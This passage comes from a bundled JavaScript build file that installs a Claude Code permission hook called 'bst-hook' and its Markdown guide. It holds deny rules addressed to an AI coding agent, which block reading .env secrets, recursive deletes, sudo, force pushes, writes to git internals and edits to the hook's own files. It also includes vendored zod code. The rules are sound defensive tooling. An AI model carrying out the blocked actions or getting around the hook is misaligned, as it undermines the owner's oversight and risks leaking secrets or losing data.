.git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n },\n {\n name: \"node-modules-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\"\n },\n {\n name: \"claude-settings-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n return samePath(resolveIn(ctx.cwd, filePath), path.join(ctx.cwd, \".claude\", \"settings.json\"));\n },\n reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n },\n {\n name: \"outside-cwd-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n if (isWithin(ctx.cwd, resolved)) return false;\n if (isWithin(path.join(os.homedir(), \".claude\"), resolved)) return false;\n if (isSessionScratch(filePath, ctx)) return false;\n return true;\n },\n reason: \"Don't write files outside the project directory.\"\n }\n];\nconst fileAllowRules = [\n {\n name: \"session-scratchpad-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"session-scratchpad-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isSessionScratch(filePath, ctx)\n },\n {\n name: \"cwd-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n },\n {\n name: \"cwd-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n }\n];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Write\",\n \"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns allow, deny, or passthrough.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n const filePath = extractPath(toolName, toolInput, ctx.cwd);\n if (filePath === null) return {\n action: \"passthrough\",\n rule: null,\n reason: \"unknown tool input shape\"\n };\n for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n for (const rule of fileAllowRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"no file rule matched\"\n };\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n audit({\n sessionId: \"unknown\",\n cwd: \"unknown\",\n command: `<invalid input: ${inputResult.error}>`,\n decision: \"passthrough\",\n rule: null,\n reason: `validation failed: ${inputResult.error}`\n });\n process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n \"Bash\",\n \"Read\",\n \"Write\",\n \"Edit\",\n \"Glob\",\n \"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n const bashInput = parseBashInput(input.tool_input);\n if (!bashInput) {\n audit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n decision: \"passthrough\",\n rule: null,\n reason: \"Bash tool_input missing or invalid 'command' field\"\n });\n process.exit(0);\n }\n decision = evaluateCommand(bashInput.command, {\n cwd: input.cwd,\n depth: 0,\n repoAllowPatterns: repoSettings.allow,\n repoProtectedBranches: repoSettings.protectedBranches\n });\n auditCommand = bashInput.command;\n} else {\n const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n decision = evaluateToolUse(input.tool_name, input.tool_input, {\n cwd: projectDir,\n sessionId: input.session_id\n });\n const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: auditCommand,\n decision: decision.action,\n rule: decision.rule,\n reason: decision.reason\n});\nif (decision.action === \"allow\") writeDecision(\"allow\", decision.advice);\nelse if (decision.action === \"deny\") writeDecision(\"deny\", decision.reason);\n\n//#endregion\nexport { };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that evaluates Bash commands\nand file tool operations before execution. Commands fall into three tiers:\n\n- **Denied** -- blocked with a redirect message\n- **Allowed** -- auto-approved, no prompt\n- **Passthrough** -- falls through to Claude Code's normal permission prompt\n\nAn allow may additionally carry a non-blocking advisory -- e.g. creating a feature branch\nin the primary worktree suggests using a `git worktree` instead. It never blocks; the\ntiers above are unchanged.\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **rm-recursive**: Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-reset-hard**: Don't `reset --hard` on main. Create a branch first.\n- **git-discard-changes**: `-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\n- **git-bare-checkout**: Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\n- **git-protected-branch-write**: Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\n- **git-protected-branch-force-create**: Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\n- **git-write**: This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files -- a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store -- editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n- **outside-cwd-write**: Don't write files outside the project directory.\n\n## Auto-approved commands\n\nThese run without prompting.\n\n### Bash\n\n- **Test runners**: vitest, jest\n- **Type checking**: tsc\n- **Build tools**: tsdown\n- **Tooling CLI**: bst (checks:run, hooks:audit, docker:build, docker:check, repo:sync), bst-agent (the agent package's bin: every safe bst subcommand, plus agent:repair-candidates and agent:transcript. agent:start prompts)\n- **Linters & formatters**: oxlint, oxfmt, eslint, prettier, biome, knip\n- **Read-only commands**: cat, head, tail, grep, ls, wc, uniq, diff, echo, pwd, which, dirname, basename, realpath\n- **Package managers (read-only)**: npm (view, info, show only)\n- **Shell builtins**: test, bracket-test\n- **Navigation**: cd, true, colon\n- **Conditional commands**: find (without -exec, -delete), sort (without -o / --output)\n- **Git read operations**: git (status, log, diff, show, blame, branch, remote, fetch, rev-parse, etc.)\n- **Git read-only forms of write verbs**: git-read-only-form (`--help` immediately after any subcommand (not `-h` -- an alias still runs with it); `git tag` listing forms (bare, -l/--list, --points-at, --contains, --merged, --sort, --format); `git clean -n`/`--dry-run` without -f. Writing forms of tag and clean stay denied)\n- **Git safe writes**: git-safe-write (add, `switch <branch>` (existing branch), switch -c/-C (new branch), checkout -b/-B (new branch), stash push/pop/apply/show, mv (docs/*.md only), worktree list/add (remove/prune/move prompt -- they can delete uncommitted work). -C/-B/--force-create onto a protected branch name (main/master/default, or repo-configured) is denied instead of created, since it resets an existing branch rather than merely creating one. switch/checkout otherwise auto-approve only with recognized non-discarding flags: -f/--discard-changes discards uncommitted work and is denied, any other flag prompts)\n- **Git writes (feature branches)**: git-feature-branch-write (commit, merge, rebase, cherry-pick, revert, reset (only when current branch is not main/master/default; push is never auto-approved))\n- **Git push (feature branches)**: git-safe-push (push with an explicit refspec (e.g. `git push origin feat/x`) from a non-protected branch to a non-protected destination on a configured remote (--force-with-lease ok; --force, --tags, --delete, --mirror, and pushes to main are not). A push with no refspec (bare `git push` / `git push <remote>`) is never auto-approved -- its destination comes from push.default/upstream config, which is not resolved here)\n- **pnpm (safe built-ins)**: pnpm (list, why, view, info, show, outdated, install (bare only))\n- **File operations (within project)**: cp (paths must be within project directory), mkdir (paths must be within project directory), touch (paths must be within project directory), mv-docs (mv only between docs/*.md paths (plan-lifecycle moves)), sed-docs (sed only on docs/*.md files (plan-lifecycle edits))\n\n### File tools\n\n- **Read/Glob/Grep**: the per-session scratchpad under the system temp directory\n- **Write/Edit**: the per-session scratchpad under the system temp directory\n- **Read/Glob/Grep**: Allowed within project directory\n- **Write/Edit**: Allowed within project directory\n\n## Passthrough\n\nEverything not listed above triggers Claude Code's normal permission prompt.\nCommon examples:\n\n- `pnpm add <pkg>`, `pnpm dlx <pkg>` (dependency changes)\n- `mv`, `git mv` (file moves outside `docs/*.md`)\n- `git rm` (without `-r`)\n- `node`, `npx` scripts\n- Commands with output redirection (`> file`)\n- Any unrecognized command\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment must be allowed; any deny blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n", "bst-hook-guide.md")];
|
|
7722
|
+
return [writeIfChanged(ctx, HOOK_PATH, "/**\n * bst-hook -- Claude Code PreToolUse hook\n * @bensandee/claude-hooks\n * https://github.com/bensandee/tooling\n *\n * Auto-generated by @bensandee/tooling repo:sync -- do not edit manually.\n */\nimport * as fs from \"node:fs\";\nimport { existsSync, readFileSync, readdirSync, realpathSync, statSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { dirname, join, resolve } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\nimport { execFileSync } from \"node:child_process\";\nimport * as os from \"node:os\";\n\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js\nvar _a$1;\nfunction $constructor(name, initializer, params) {\n function init(inst, def) {\n if (!inst._zod) Object.defineProperty(inst, \"_zod\", {\n value: {\n def,\n constr: _,\n traits: /* @__PURE__ */ new Set()\n },\n enumerable: false\n });\n if (inst._zod.traits.has(name)) return;\n inst._zod.traits.add(name);\n initializer(inst, def);\n const proto = _.prototype;\n const keys = Object.keys(proto);\n for (let i = 0; i < keys.length; i++) {\n const k = keys[i];\n if (!(k in inst)) inst[k] = proto[k].bind(inst);\n }\n }\n const Parent = params?.Parent ?? Object;\n class Definition extends Parent {}\n Object.defineProperty(Definition, \"name\", { value: name });\n function _(def) {\n var _a;\n const inst = params?.Parent ? new Definition() : this;\n init(inst, def);\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n for (const fn of inst._zod.deferred) fn();\n return inst;\n }\n Object.defineProperty(_, \"init\", { value: init });\n Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n if (params?.Parent && inst instanceof params.Parent) return true;\n return inst?._zod?.traits?.has(name);\n } });\n Object.defineProperty(_, \"name\", { value: name });\n return _;\n}\nvar $ZodAsyncError = class extends Error {\n constructor() {\n super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n }\n};\nvar $ZodEncodeError = class extends Error {\n constructor(name) {\n super(`Encountered unidirectional transform during encode: ${name}`);\n this.name = \"ZodEncodeError\";\n }\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n if (newConfig) Object.assign(globalConfig, newConfig);\n return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js\nfunction getEnumValues(entries) {\n const numericValues = Object.values(entries).filter((v) => typeof v === \"number\");\n return Object.entries(entries).filter(([k, _]) => numericValues.indexOf(+k) === -1).map(([_, v]) => v);\n}\nfunction jsonStringifyReplacer(_, value) {\n if (typeof value === \"bigint\") return value.toString();\n return value;\n}\nfunction cached(getter) {\n return { get value() {\n {\n const value = getter();\n Object.defineProperty(this, \"value\", { value });\n return value;\n }\n } };\n}\nfunction nullish(input) {\n return input === null || input === void 0;\n}\nfunction cleanRegex(source) {\n const start = source.startsWith(\"^\") ? 1 : 0;\n const end = source.endsWith(\"$\") ? source.length - 1 : source.length;\n return source.slice(start, end);\n}\nconst EVALUATING = /* @__PURE__*/ Symbol(\"evaluating\");\nfunction defineLazy(object, key, getter) {\n let value = void 0;\n Object.defineProperty(object, key, {\n get() {\n if (value === EVALUATING) return;\n if (value === void 0) {\n value = EVALUATING;\n value = getter();\n }\n return value;\n },\n set(v) {\n Object.defineProperty(object, key, { value: v });\n },\n configurable: true\n });\n}\nfunction assignProp(target, prop, value) {\n Object.defineProperty(target, prop, {\n value,\n writable: true,\n enumerable: true,\n configurable: true\n });\n}\nfunction mergeDefs(...defs) {\n const mergedDescriptors = {};\n for (const def of defs) {\n const descriptors = Object.getOwnPropertyDescriptors(def);\n Object.assign(mergedDescriptors, descriptors);\n }\n return Object.defineProperties({}, mergedDescriptors);\n}\nfunction esc(str) {\n return JSON.stringify(str);\n}\nfunction slugify(input) {\n return input.toLowerCase().trim().replace(/[^\\w\\s-]/g, \"\").replace(/[\\s_-]+/g, \"-\").replace(/^-+|-+$/g, \"\");\n}\nconst captureStackTrace = \"captureStackTrace\" in Error ? Error.captureStackTrace : (..._args) => {};\nfunction isObject(data) {\n return typeof data === \"object\" && data !== null && !Array.isArray(data);\n}\nconst allowsEval = /* @__PURE__*/ cached(() => {\n if (globalConfig.jitless) return false;\n if (typeof navigator !== \"undefined\" && navigator?.userAgent?.includes(\"Cloudflare\")) return false;\n try {\n new Function(\"\");\n return true;\n } catch (_) {\n return false;\n }\n});\nfunction isPlainObject(o) {\n if (isObject(o) === false) return false;\n const ctor = o.constructor;\n if (ctor === void 0) return true;\n if (typeof ctor !== \"function\") return true;\n const prot = ctor.prototype;\n if (isObject(prot) === false) return false;\n if (Object.prototype.hasOwnProperty.call(prot, \"isPrototypeOf\") === false) return false;\n return true;\n}\nfunction shallowClone(o) {\n if (isPlainObject(o)) return { ...o };\n if (Array.isArray(o)) return [...o];\n if (o instanceof Map) return new Map(o);\n if (o instanceof Set) return new Set(o);\n return o;\n}\nconst propertyKeyTypes = /* @__PURE__*/ new Set([\n \"string\",\n \"number\",\n \"symbol\"\n]);\nfunction escapeRegex(str) {\n return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\nfunction clone(inst, def, params) {\n const cl = new inst._zod.constr(def ?? inst._zod.def);\n if (!def || params?.parent) cl._zod.parent = inst;\n return cl;\n}\nfunction normalizeParams(_params) {\n const params = _params;\n if (!params) return {};\n if (typeof params === \"string\") return { error: () => params };\n if (params?.message !== void 0) {\n if (params?.error !== void 0) throw new Error(\"Cannot specify both `message` and `error` params\");\n params.error = params.message;\n }\n delete params.message;\n if (typeof params.error === \"string\") return {\n ...params,\n error: () => params.error\n };\n return params;\n}\nfunction optionalKeys(shape) {\n return Object.keys(shape).filter((k) => {\n return shape[k]._zod.optin === \"optional\" && shape[k]._zod.optout === \"optional\";\n });\n}\nconst NUMBER_FORMAT_RANGES = {\n safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER],\n int32: [-2147483648, 2147483647],\n uint32: [0, 4294967295],\n float32: [-34028234663852886e22, 34028234663852886e22],\n float64: [-Number.MAX_VALUE, Number.MAX_VALUE]\n};\nfunction pick(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".pick() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = {};\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n newShape[key] = currDef.shape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction omit(schema, mask) {\n const currDef = schema._zod.def;\n const checks = currDef.checks;\n if (checks && checks.length > 0) throw new Error(\".omit() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const newShape = { ...schema._zod.def.shape };\n for (const key in mask) {\n if (!(key in currDef.shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n delete newShape[key];\n }\n assignProp(this, \"shape\", newShape);\n return newShape;\n },\n checks: []\n }));\n}\nfunction extend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to extend: expected a plain object\");\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) {\n const existingShape = schema._zod.def.shape;\n for (const key in shape) if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) throw new Error(\"Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead.\");\n }\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction safeExtend(schema, shape) {\n if (!isPlainObject(shape)) throw new Error(\"Invalid input to safeExtend: expected a plain object\");\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const _shape = {\n ...schema._zod.def.shape,\n ...shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n } }));\n}\nfunction merge(a, b) {\n if (a._zod.def.checks?.length) throw new Error(\".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead.\");\n return clone(a, mergeDefs(a._zod.def, {\n get shape() {\n const _shape = {\n ...a._zod.def.shape,\n ...b._zod.def.shape\n };\n assignProp(this, \"shape\", _shape);\n return _shape;\n },\n get catchall() {\n return b._zod.def.catchall;\n },\n checks: b._zod.def.checks ?? []\n }));\n}\nfunction partial(Class, schema, mask) {\n const checks = schema._zod.def.checks;\n if (checks && checks.length > 0) throw new Error(\".partial() cannot be used on object schemas containing refinements\");\n return clone(schema, mergeDefs(schema._zod.def, {\n get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in oldShape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n }\n else for (const key in oldShape) shape[key] = Class ? new Class({\n type: \"optional\",\n innerType: oldShape[key]\n }) : oldShape[key];\n assignProp(this, \"shape\", shape);\n return shape;\n },\n checks: []\n }));\n}\nfunction required(Class, schema, mask) {\n return clone(schema, mergeDefs(schema._zod.def, { get shape() {\n const oldShape = schema._zod.def.shape;\n const shape = { ...oldShape };\n if (mask) for (const key in mask) {\n if (!(key in shape)) throw new Error(`Unrecognized key: \"${key}\"`);\n if (!mask[key]) continue;\n shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n }\n else for (const key in oldShape) shape[key] = new Class({\n type: \"nonoptional\",\n innerType: oldShape[key]\n });\n assignProp(this, \"shape\", shape);\n return shape;\n } }));\n}\nfunction aborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue !== true) return true;\n return false;\n}\nfunction explicitlyAborted(x, startIndex = 0) {\n if (x.aborted === true) return true;\n for (let i = startIndex; i < x.issues.length; i++) if (x.issues[i]?.continue === false) return true;\n return false;\n}\nfunction prefixIssues(path, issues) {\n return issues.map((iss) => {\n var _a;\n (_a = iss).path ?? (_a.path = []);\n iss.path.unshift(path);\n return iss;\n });\n}\nfunction unwrapMessage(message) {\n return typeof message === \"string\" ? message : message?.message;\n}\nfunction finalizeIssue(iss, ctx, config) {\n const message = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config.customError?.(iss)) ?? unwrapMessage(config.localeError?.(iss)) ?? \"Invalid input\";\n const { inst: _inst, continue: _continue, input: _input, ...rest } = iss;\n rest.path ?? (rest.path = []);\n rest.message = message;\n if (ctx?.reportInput) rest.input = _input;\n return rest;\n}\nfunction getLengthableOrigin(input) {\n if (Array.isArray(input)) return \"array\";\n if (typeof input === \"string\") return \"string\";\n return \"unknown\";\n}\nfunction issue(...args) {\n const [iss, input, inst] = args;\n if (typeof iss === \"string\") return {\n message: iss,\n code: \"custom\",\n input,\n inst\n };\n return { ...iss };\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js\nconst initializer$1 = (inst, def) => {\n inst.name = \"$ZodError\";\n Object.defineProperty(inst, \"_zod\", {\n value: inst._zod,\n enumerable: false\n });\n Object.defineProperty(inst, \"issues\", {\n value: def,\n enumerable: false\n });\n inst.message = JSON.stringify(def, jsonStringifyReplacer, 2);\n Object.defineProperty(inst, \"toString\", {\n value: () => inst.message,\n enumerable: false\n });\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, { Parent: Error });\nfunction flattenError(error, mapper = (issue) => issue.message) {\n const fieldErrors = {};\n const formErrors = [];\n for (const sub of error.issues) if (sub.path.length > 0) {\n fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || [];\n fieldErrors[sub.path[0]].push(mapper(sub));\n } else formErrors.push(mapper(sub));\n return {\n formErrors,\n fieldErrors\n };\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n const fieldErrors = { _errors: [] };\n const processError = (error, path = []) => {\n for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n else {\n const fullpath = [...path, ...issue.path];\n if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n else {\n let curr = fieldErrors;\n let i = 0;\n while (i < fullpath.length) {\n const el = fullpath[i];\n if (!(i === fullpath.length - 1)) curr[el] = curr[el] || { _errors: [] };\n else {\n curr[el] = curr[el] || { _errors: [] };\n curr[el]._errors.push(mapper(issue));\n }\n curr = curr[el];\n i++;\n }\n }\n }\n };\n processError(error);\n return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js\nconst _parse = (_Err) => (schema, value, _ctx, _params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n if (result.issues.length) {\n const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, _params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _parseAsync = (_Err) => async (schema, value, _ctx, params) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n if (result.issues.length) {\n const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n captureStackTrace(e, params?.callee);\n throw e;\n }\n return result.value;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: false\n } : { async: false };\n const result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) throw new $ZodAsyncError();\n return result.issues.length ? {\n success: false,\n error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParse$1 = /* @__PURE__*/ _safeParse($ZodRealError);\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n async: true\n } : { async: true };\n let result = schema._zod.run({\n value,\n issues: []\n }, ctx);\n if (result instanceof Promise) result = await result;\n return result.issues.length ? {\n success: false,\n error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n } : {\n success: true,\n data: result.value\n };\n};\nconst safeParseAsync$1 = /* @__PURE__*/ _safeParseAsync($ZodRealError);\nconst _encode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parse(_Err)(schema, value, ctx);\n};\nconst _decode = (_Err) => (schema, value, _ctx) => {\n return _parse(_Err)(schema, value, _ctx);\n};\nconst _encodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _parseAsync(_Err)(schema, value, ctx);\n};\nconst _decodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _parseAsync(_Err)(schema, value, _ctx);\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n const ctx = _ctx ? {\n ..._ctx,\n direction: \"backward\"\n } : { direction: \"backward\" };\n return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n return _safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = 